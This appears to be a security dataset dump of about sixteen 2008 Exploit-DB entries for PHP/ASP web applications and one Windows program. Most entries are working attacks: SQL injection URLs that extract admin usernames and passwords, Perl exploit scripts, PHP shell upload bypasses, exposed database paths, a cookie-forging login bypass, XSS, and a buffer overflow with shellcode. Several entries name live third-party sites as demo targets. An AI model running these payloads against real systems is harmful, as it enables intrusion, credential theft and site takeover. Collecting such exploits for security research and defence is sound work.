QLWD/code_shield huggingface dataset:
标题: Joomla! Component Tech Article 1.x - SQL Injection EDB-ID: 7504 CVE: 2008-6050 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-17 漏洞利用脚本: ||          ||   | ||         
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_,  
                  ( :   /    (_)    /           (   .   
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
 
 
<<!>> Found by  :  Cyb3r-1sT
 
<<!>> C0ntact : cyb3r-1st [at] hotmail.com  
                    
<<!>> Groups : InjEctOr5 T3am  
 
=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================
 
 
<<->> D0rk    : find it
 
<<->> Exploit :>>>                
                                    
                     :>>>  http://www.site.me/index.php?option=com_tech_article&Itemid=17&item=-1+union+select+0,concat(username,0x3a,password),0,0,0,0,0,0,0+from+jos_users--&task=item
 
 
=======================================================
++++++++++++++++++++++ Greetz +++++++++++++++++++++++++
=======================================================
 
<<->> All freinds , all muslims , str0ke 

side note:
<name>tech_article</name>
<creationDate>3-23-2006</creationDate>
<author>Anthony Ferrara</author>
<copyright>GPL</copyright>
<authorEmail>ircmaxell@yahoo.com</authorEmail>
<authorUrl>www.ircmaxell.com</authorUrl>
<version>1.0.1</version>
<description>Tech Article Component For Joomla</description>

# milw0rm.com [2008-12-17] URL: https://www.exploit-db.com/exploits/7504
标题: Mini File Host 1.x - Arbitrary '.PHP' File Upload EDB-ID: 7509 CVE: 2008-6785 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-18 漏洞利用脚本: #########################################################
---------------------------------------------------------
Portal Name: Mini File Host
Version: All version
Vendor : http://www.galaxyscripts.com
Dork: inurl:index.php?page=img Powered By Mini File Host
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Vulnerability : (Uploader Bypass)
---------------------------------------------------------
#########################################################
[Mime Check Bypass]:
create a file called name.php and fill it as below:
----------
GIF89aP;
[shell]
----------
Save and upload !

[Video]:
http://pouya2006.persiangig.com/UploadVideo/minifile.rar
---------------------------------

# milw0rm.com [2008-12-18] URL: https://www.exploit-db.com/exploits/7509
标题: TinyMCE 2.0.1 - 'menuID' SQL Injection EDB-ID: 7506 CVE: 2008-6049 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-17 漏洞利用脚本: # removed from the frontend, the product affected isn't TinyMCE.
# if you know which CMS this is please contact me 
# /str0ke





************************************************************
**    TinyMCE Remote SQL Injection
************************************************************
**  Prodcut:  TinyMCE  Version 2.0.1
**  Home   :   http://tinymce.moxiecode.com
**  Vunlerability :  2/ SQL Injection
**  Risk  :   high !!
**  Dork :   N/A
************************************************************
** Discovred by: AnGeL25dZ
** From        : Constantine - Algeria
** Contact     :  angel25dz@gmail.com 
** *********************************************************
** Greetz to :  ALLAH
**   All Members of HackTeachTeam http://www.hackteach.org/
**    Ra3ch, His0k4
************************************************************
**  Remote SQL Injection vulnerability
**
** Exploit :index.php?menuID=-1 union select 0,Group_CONCAT(loginnaam,CHAR(32,58,32),wachtwoord),2,3 from adminusers
**
** Use : http://[path]/Exploit
** Admin : http://[path]/cms/login.php
****************************************************************
** Live demo : http://www.uitgeverijginkgo.nl/index.php?menuID=-1 union select 0,Group_CONCAT(loginnaam,CHAR(32,58,32),wachtwoord),2,3 from adminusers
**
****************************************************************

# milw0rm.com [2008-12-17] URL: https://www.exploit-db.com/exploits/7506
标题: Lizardware CMS 0.6.0 - Blind SQL Injection EDB-ID: 7507 CVE: 2008-6787 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-17 漏洞利用脚本: #!/usr/bin/perl -w
# Lizardware CMS <= 0.6.0 Blind SQL Injection Exploit
# by athos - staker[at]hotmail[dot]it
# http://sourceforge.net/projects/lizardwarecms/

use strict;
use LWP::UserAgent;

my ($stop,$start,$hash);

my $domain = shift;
my $ptable = shift;
my $userid = shift or &usage;

my @chars = (48..57, 97..102); 
my $substr = 1; 
my $http = new LWP::UserAgent;


&usage unless $domain =~ /^http:\/\/(.+?)$/i and $userid =~ /^[0-9]$/; 


sub send_request
{ 
     my $post = undef;
     my $host = $domain;
     my $param = shift @_ or die $!;
  
     $host .= "/administrator/index.php?loginsubmitMTIyOTU0ODExMg== ";
     $post = $http->post($host,[
                                 user      => $param,
                                 pass      => 'anything'
                               ]);
 
}


sub give_char
{
     my $send = undef;
     my ($charz,$uidz) = @_;
  
     $send = "' or (select if((ascii(substring".
             "(user_password,$uidz,1))=$charz),".
             "benchmark(230000000,char(0)),".
            "0) from ${ptable}_users where user_id=$userid)#";

     return $send;
}


for(1..32) 
{
     foreach my $set(@chars)
     {
          my $start = time();
    
          send_request(give_char($set,$substr));
    
          my $stop = time();
  
         if($stop - $start > 6)
         { 
              syswrite(STDOUT,chr($set));
              $substr++; 
              last;
        }
    }
}

sub usage
{
     print "[?] Lizardware CMS <= 0.6.0 Blind SQL Injection Exploit\n";
     print "[?] by athos - staker[at]hotmail[dot]it\n";
     print "[?] Usage: perl $0 http://[host/path] [table_prefix] [id]\n";
     exit;
}

# milw0rm.com [2008-12-17] URL: https://www.exploit-db.com/exploits/7507
标题: Injader CMS 2.1.1 - 'id' SQL Injection EDB-ID: 7517 CVE: 2008-5890 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-18 漏洞利用脚本: Injader CMS
http://www.injader.com/



- (= 2.1.1 -

- SQL -
http://localhost/upload/feeds.php?name=articles&id=<SQL>
magic_quotes_gpc = Off
register_globals = On


Username (urlencode):
2 UNION ALL SELECT NULL, NULL, NULL, NULL, CONCAT(CHAR(0),IFNULL(CAST(username AS CHAR(10000)), CHAR(32)),CHAR(0)), NULL, NULL, NULL FROM maj_users# AND 2511=2511
Pass:
2 UNION ALL SELECT NULL, NULL, NULL, NULL, CONCAT(CHAR(0),IFNULL(CAST(userpass AS CHAR(10000)), CHAR(32)),CHAR(0)), NULL, NULL, NULL FROM maj_users# AND 8758=8758



- Timeline -
Author notified: Nov 30, Dec 09,10
Injader 2.1.2: Dec 12
Public disclosure: Dec 18


- Seasons Greetings -
- http://nukeit.org -

# milw0rm.com [2008-12-18] URL: https://www.exploit-db.com/exploits/7517
标题: Nukedit 4.9.8 - Remote Database Disclosure EDB-ID: 7491 CVE: 2008-5773 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-16 漏洞利用脚本: ###########################################################
#Title:       Nukedit 4.9.8 Remote Database Disclosure Vulnerability
#Credit:      Cyber.Zer0          
#             Cyber.Zer0[4t]Hotmail[dot]com                                                                                           
#Download:    http://www.nukedit.com/content/Download.asp      
#Remote:      Yes                                         
#Dork:        "Powered by Nukedit"                                            
############################################
--=[Database Disclosure]=--
http://target.com/database/dbsite.mdb


Live Demo

http://www.nukedit.com/database/dbsite.mdb

# milw0rm.com [2008-12-16] URL: https://www.exploit-db.com/exploits/7491
标题: Barracuda Spam Firewall 3.5.11.020 Model 600 - SQL Injection EDB-ID: 7496 CVE: 2008-1094 类型: REMOTE 平台: HARDWARE 发布日期: 2008-12-16 漏洞利用脚本: CVE Number: CVE-2008-1094
Vulnerability: SQL Injection 
Risk: Medium
Attack vector: From Remote

Vulnerability Discovered: 16th June 2008
Vendor Notified: 16th June 2008
Advisory Released: 15th December 2008


Abstract

Barracuda Networks Spam Firewall is vulnerable to various SQL Injection attacks. 
When exploited by an authenticated user, the identified vulnerability can lead to 
Denial of Service, Database Information Disclosure, etc.


Description

The index.cgi resource was identified as being susceptible to SQL Injection attacks. 
When filtering user accounts in Users->Account View section, the pattern_x parameter 
(where x = 0..n) allows inserting arbitrary SQL code once filter_x parameter is set 
to search_count_equalsâ€˜ value.

/cgi-bin/index.cgi?&user=&password=&et=&auth_type=Local&locale=en_US&realm=&primary_tab=USERS&secondary_tab=per_user_account_view&boolean_0=boolean_and&filter_0=search_count_equals&pattern_0=if(database() like concat(char(99),char(37)),5,0)

An attacker can exploit this vulnerability by injecting arbitrary SQL code to be 
executed as part of the SQL query.


Original Advisory:

http://dcsl.ul.ie/advisories/02.htm


Barracuda Networks Technical Alert

http://www.barracudanetworks.com/ns/support/tech_alert.php


Affected Versions

Barracuda Spam Firewall (Firmware v3.5.11.020, Model 600)

Other products/versions might be affected.


Mitigation

Vendor recommends to the following firmware version

Barracuda Spam Firewall (Firmware v3.5.12.001)

Alternatively, please contact Barracuda Networks for technical support.


Credits

Dr. Marian Ventuneac, marian.ventuneac@ul.ie
Data Communication Security Laboratory, Department of Electronic & Computer Engineering, University of Limerick


Disclaimer

Data Communication Security Laboratory releases this information with the vendor acceptance. 
DCSL is not responsible for any malicious application of the information presented in this advisory. 

# milw0rm.com [2008-12-16] URL: https://www.exploit-db.com/exploits/7496
标题: FaScript FaUpload - SQL Injection EDB-ID: 7487 CVE: 2008-5766 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-16 漏洞利用脚本: !!..:: ZAC003 ::..!!
                    -+( Vive int Iranian WhiteHat Nomads Group )+-
-------------------------------------------------------------------------------------------
Reporter : ZAC003 From Aria-Security.Net
Script Download : http://webscripts.softpedia.com/script/Internet-Browsers-C-C/FTP/Faupload-41231.html
BUG :
+ class/download.php +
[Code]
4:    $id = $_GET['id']; //Bug Here !
5:    $how = "n";
6:    $kind = "point";
7:    $result = mysql_query("SELECT * FROM file WHERE $kind LIKE '$id' order by id DESC"); //Bug Here !
8:    while($r=mysql_fetch_array($result))
9:    {
[/Code]
[Exploit]
    Example Downlaod : http://127.0.0.1/faupload/download.php?id=c16a5320fa475530d9583c34fd356ef5
    Inject : http://127.0.0.1/faupload/download.php?id=-999'< SQL Command >/*
    For View Admin UserName,Password(./admin/pconfig.php ) : -999'/**/union/**/select/**/1,load_file(0x2e2f61646d696e2f70636f6e6669672e706870),3,4,5,6,7,8,9/**/from/**/file/*
    For View File Name And Secret Key (PROVIDING BE) :
    For View Admin UserName,Password : -999'/**/union/**/select/**/1,name,3,4,5,6,skey,8,9/**/from/**/file/*
    Upload Shell = [Priv8 Perl Script]
    Update Ads Table(id,text): Use Update SQL Command !
[/Exploit]
-------------------------------------------------------------------------------------------
For Contact : ZAC003[at]Y![dot]Com , Aria-Security.net(Forum And Best WebBase Hacking Tools)
SpTnX : Aria-Security Team , Emperor Hacking Team , Iranian WhiteHat Nomads Group
greets : M3hd!.h4ckCity And All Member of Aria-Security

# milw0rm.com [2008-12-16] URL: https://www.exploit-db.com/exploits/7487
标题: Gnews Publisher .NET - SQL Injection EDB-ID: 7495 CVE: 2008-5767 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-16 漏洞利用脚本: ###########################################################################
#-------------------------------AlpHaNiX----------------------------------#
###########################################################################

#Found By : AlpHaNiX
#website  : www.offensivetrack.org
#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : Gnews Publisher
#download : null
#Demo     : http://www.gazatem.com/demos/gnews/


###########################################################################

#Exploits :

--=[SQL INJECTION]=--

http://www.gazatem.com/demos/gnews/authors.asp?authorID=(SQL)

http://www.gazatem.com/demos/gnews/authors.asp?authorID=convert(int,(select+@@version));--
http://www.gazatem.com/demos/gnews/authors.asp?authorID=convert(int,(select+top+1+table_name+from+information_schema.tables));--


#Greetz For my Best Friend Zigma

###########################################################################

# milw0rm.com [2008-12-16] URL: https://www.exploit-db.com/exploits/7495
标题: Web Wiz Guestbook 8.21 - Database Disclosure EDB-ID: 7488 CVE: 2003-1571 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-16 漏洞利用脚本: < > =============
< >
< >  Web Wiz Guestbook v8.21 (WWGguestbook.mdb) Remote Database Disclosure Vulnerability
< >
< >  auther : Cold z3ro, www.hackteach.org
< >
< >  http://site.com/[Path]/database/WWGguestbook.mdb
< >
< >  Dork : webwizguestbook_license.asp
< >
< > =============

# milw0rm.com [2008-12-16] URL: https://www.exploit-db.com/exploits/7488
标题: Liberum Help Desk 0.97.3 - SQL Injection / File Disclosure EDB-ID: 7493 CVE: 2008-6057 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-16 漏洞利用脚本: Liberum Help Desk (SQL/DD) Multiple Remote Vulnerabilities

author : Cold z3ro, www.hackteach.org

Dork : "Liberum Help Desk, Copyright (C) 2001 Doug Luxem"

==============
[#] SQL Injection

http://www.site.com/[path]/forgotpass.asp

    In uid insert SQL command's =>

SCMD ==>    ' or '1=1
SCMD ==>    ' or 'update tblusers set password = "z3ro"


all passwords will be z3ro

=============
[#] Database Disclosure

http://www.site.com/[path]/db/helpdesk2000.mdb



example :
https://www.bauer.uh.edu/helpdesk/db/helpdesk2000.mdb
http://www.ags2.com/helpdesk/db/helpdesk2000.mdb

# milw0rm.com [2008-12-16] URL: https://www.exploit-db.com/exploits/7493
标题: RSMScript 1.21 - Cross-Site Scripting / Insecure Cookie Handling EDB-ID: 7497 CVE: 2008-6743 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-17 漏洞利用脚本: [START]

#########################################################################################
[0x01] Informations:

Script         : RSMScript 1.21
Download       : http://www.hotscripts.com/jump.php?listing_id=78547&jump_type=1
Vulnerability  : Insecure Cookie Handling / XXS
Author         : Osirys
Contact        : osirys[at]live[dot]it
Website        : http://osirys.org
Notes          : Proud to be Italian
Greets:        : XaDoS, x0r, emgent, Jay, str0ke, Todd and AlpHaNiX

#########################################################################################
[0x02] Bug: [Insecure Cookie Handling]
######

Bugged file is: /[path]/verify.php

[CODE]

if($admin_pass == $code)
{
  setcookie("verified", "null", time()+1800);
  header( 'refresh: 0; url=update.php' );
}

[/CODE]

As we can see, if the password "$code" typed is the same of $admin_pass, so you log in,
cookie is set with the name "verified" and with content "null". So, a malicious user
can just set up a cookie with that name and value, and then he will be logged as the 
admin.

[!] FIX: A fix could be to put as a content or cookie name the password. Example:

[CODE] setcookie("verified", "$admin_pass", time()+1800); [/CODE]


[!] EXPLOIT: javascript:document.cookie = "verified=null; path=/";

#########################################################################################
[0x03] Bug: [XSS]
######

To exploit this bug, we must be logged in. Just bypass the login with the Cookie ;)
There are two bugged file.

1) /[path/submit.php
   In this file, we can put arbitrary data into a .txt file.

   [CODE]

    $quote = $_REQUEST['quote'];
    $writePage = fopen('quotes.txt', 'a') or die("can't open file");
 fwrite($writePage, "\t");
    fwrite($writePage, stripslashes($quote));
    fclose($writePage);

   [/CODE]

   [!] FIX: Just filter direct user input.


2) /path/update.php
   This file gets quotes.txt content, and print it directly into html code. 
   In 1) we saw that we can put arbitrary data into this .txt file. Just
   Put js code ;)

   [CODE]

    $quotes = file_get_contents("quotes.txt");
    $quotes= preg_split("/[\t]+/", $quotes);
    $i = 0;
    $noQuotes = sizeOf($quotes);
    while ($i < $noQuotes)
    {
        $quote = $quotes[$i];
        echo '<option value='.$i.'>'.$quote.'</option>';
        $i = $i + 1;
    }

    [/CODE]

    [!] FIX: A fix could be just to filter input before being printed in html code.


## How to exploit this bugs?

[!] EXPLOIT: /[path]/submit.php?quote=<script>alert("XSS")</script>

#########################################################################################
[/END]

# milw0rm.com [2008-12-17] URL: https://www.exploit-db.com/exploits/7497
标题: FLDS 1.2a - 'report.php' SQL Injection EDB-ID: 7489 CVE: 2008-5778 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-16 漏洞利用脚本: #!/usr/bin/perl -w
#
# Free Links Directory Script V1.2a Remote SQL Injection Exploit
# written by ka0x <ka0x01[alt+64]gmail.com>
# D.O.M Labs Security Researchers
# - www.domlabs.org -
#
# Vuln code (report.php):
#
# if($_COOKIE['logged']=="") {
# [...] // login
# else {
#     $linkida = $_GET['linkid'];
#     $linkinfo = mysql_fetch_array(mysql_query("select * from links where id=$linkida"))
# [...]
#

use strict;
use LWP::UserAgent;
 
my $host = $ARGV[0];

die "[*] usage: perl $0 <host>\n" unless $ARGV[0];

if ($host !~ /^http:/){ $host = 'http://'.$host; }

my $ua = LWP::UserAgent->new() or die ;
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1") ;
$ua->timeout(10) ;
$ua->default_header('Cookie' => "logged=d0ml4bs"); # value $_COOKIE['logged'], Cookie: logged=d0ml4bs

my $req = HTTP::Request->new(GET => $host."report.php.php?linkid=-1/**/UNION/**/SELECT/**/1,concat(0x5f5f5f5f,0x5b215d20757365723a20,username,0x20205b215d20706173733a20,password,0x5f5f5f5f),3,4,5,6,7,8,9,10,11/**/FROM/**/users");

my $res = $ua->request($req);
my $con = $res->content;

if ($res->is_success && $con =~ m/____(.*?)____/ms){
    print $1;
}
else {
    print "[-] exploit failed!\n";
}

__END__

# milw0rm.com [2008-12-16] URL: https://www.exploit-db.com/exploits/7489
标题: K&S Shopsysteme - Arbitrary File Upload EDB-ID: 7500 CVE: 2008-6768 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-17 漏洞利用脚本: ## Script Name: Shopsysteme (new version oscommerce)

## Download: http://www.shopsystem-forum.de/product_info.php?cPath=22&products_id=43 (299 euro)  :) 

## Author: mNt

## File Upload Bug

## Google Dork: intext:Powered by K&S Media Concept - Shopsysteme [Powered by K&S Media Concept - Shopsysteme iÃ§in yaklaÅŸÄ±k 32.900 sonuÃ§tan 191 - 200 arasÄ± sonuÃ§lar (0,51 saniye)]

## Use:

http://www.example.com/

after add: /admin/editor/images.php ==> http://www.example.com/admin/editor/images.php

File uploaded php shell

after in url: http://www.example.com/images/upload/mNt.php

Attention: Shell Code Ä°n GIF89;a

## Live demo: http://www.trampleandfetish.de/admin/editor/image.php

## Php Shell Adres: http://www.trampleandfetish.de/images/upload/data.php

## Thanks: DelÄ°DolU, HeDgEs, Scarface, Cih@t, Suskun DÃ¼nyam, Lodos2005, Sabotage

## web Site: www.rootingforced.org || www.rootingforced.com || www.rootingforced.net

# milw0rm.com [2008-12-17] URL: https://www.exploit-db.com/exploits/7500
标题: Realtek Sound Manager (rtlrack.exe 1.15.0.0) - Playlist Buffer Overflow EDB-ID: 7492 CVE: 2008-5664 类型: LOCAL 平台: WINDOWS 发布日期: 2008-12-16 漏洞利用脚本: #usage: exploit.py

print "--------------------------------------------------------------------------"
print " Realtek Sound Manager (rtlrack.exe v. 1.15.0.0) PlayList Buffer Overflow\n"
print " url: http://www.realtek.com.tw/\n"
print " download: ftp://152.104.238.19/pc/audio/AP_A406.exe"
print "           ftp://202.65.194.212/pc/audio/AP_A406.exe"
print "           ftp://66.104.77.130/pc/audio/AP_A406.exe\n"
print " author: shinnai"
print " mail: shinnai[at]autistici[dot]org"
print " site: http://www.shinnai.net\n"
print " Tested on: Windows XP Pro SP3 Ita\n"
print " Greetings to:"
print " str0ke for being a friend as well as a great man\n"
print " In memory of rgod"
print "--------------------------------------------------------------------------"

buff = "\x41" * 220

EIP = "\xEB\xBA\x3F\x7E" #call ESP from user32.dll

nop = "\x90" * 12

shellcode = (
    "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
    "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
    "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
    "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
    "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"
    "\x42\x50\x42\x30\x42\x50\x4b\x38\x45\x44\x4e\x43\x4b\x38\x4e\x47"
    "\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x48\x4f\x54\x4a\x41\x4b\x38"
    "\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x48"
    "\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c"
    "\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"
    "\x46\x4f\x4b\x43\x46\x35\x46\x52\x46\x30\x45\x37\x45\x4e\x4b\x58"
    "\x4f\x45\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x48\x4e\x30\x4b\x44"
    "\x4b\x48\x4f\x35\x4e\x41\x41\x30\x4b\x4e\x4b\x38\x4e\x51\x4b\x38"
    "\x41\x50\x4b\x4e\x49\x38\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"
    "\x42\x4c\x46\x46\x4b\x48\x42\x34\x42\x33\x45\x38\x42\x4c\x4a\x47"
    "\x4e\x30\x4b\x38\x42\x34\x4e\x50\x4b\x58\x42\x47\x4e\x41\x4d\x4a"
    "\x4b\x58\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x48\x42\x48\x42\x4b"
    "\x42\x30\x42\x50\x42\x30\x4b\x38\x4a\x56\x4e\x43\x4f\x55\x41\x33"
    "\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x37"
    "\x42\x55\x4a\x36\x42\x4f\x4c\x58\x46\x50\x4f\x35\x4a\x36\x4a\x59"
    "\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x56\x41\x56"
    "\x4e\x46\x43\x56\x50\x32\x45\x46\x4a\x37\x45\x36\x42\x50\x5a"
    )

egg = buff + EIP + nop + shellcode + nop

try:
    out_file = open("exploit.pla",'w')
    out_file.write(egg)
    out_file.close()
    raw_input("\nFILE CREATED!\n\nPress any key to exit...")
except:
    print "Something goes wrong..."

# milw0rm.com [2008-12-16] URL: https://www.exploit-db.com/exploits/7492
标题: CadeNix - SQL Injection EDB-ID: 7480 CVE: 2008-5777 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-15 漏洞利用脚本: ###################################
        Remote Sql Injection  CadeNix [ index.php ]
           CadeNix  Online Games Play Online
###################################
# I am , HaCkeR _EgY
# My Home : www.atsdp.com
# Message : Mr.SQL   Really  I miss You , see u sooon My bro :)
# Script : cadenix
# Download : http://www.cadenix.com
# Exploit :
               http://site.com/demo/index.php?game=40664&cid=-1+union+select+1,2,3,name,5,6,pass,8,9,10+from+members--
# Live Demo :
               http://cadenix.com/demo/index.php?game=40664&cid=-1+union+select+1,2,3,name,5,6,pass,8,9,10+from+members--
# Admin Panel  :   http://cadenix.com/demo/admin
####################  Greetz  ::  Abo Mohamed  #####################

# milw0rm.com [2008-12-15] URL: https://www.exploit-db.com/exploits/7480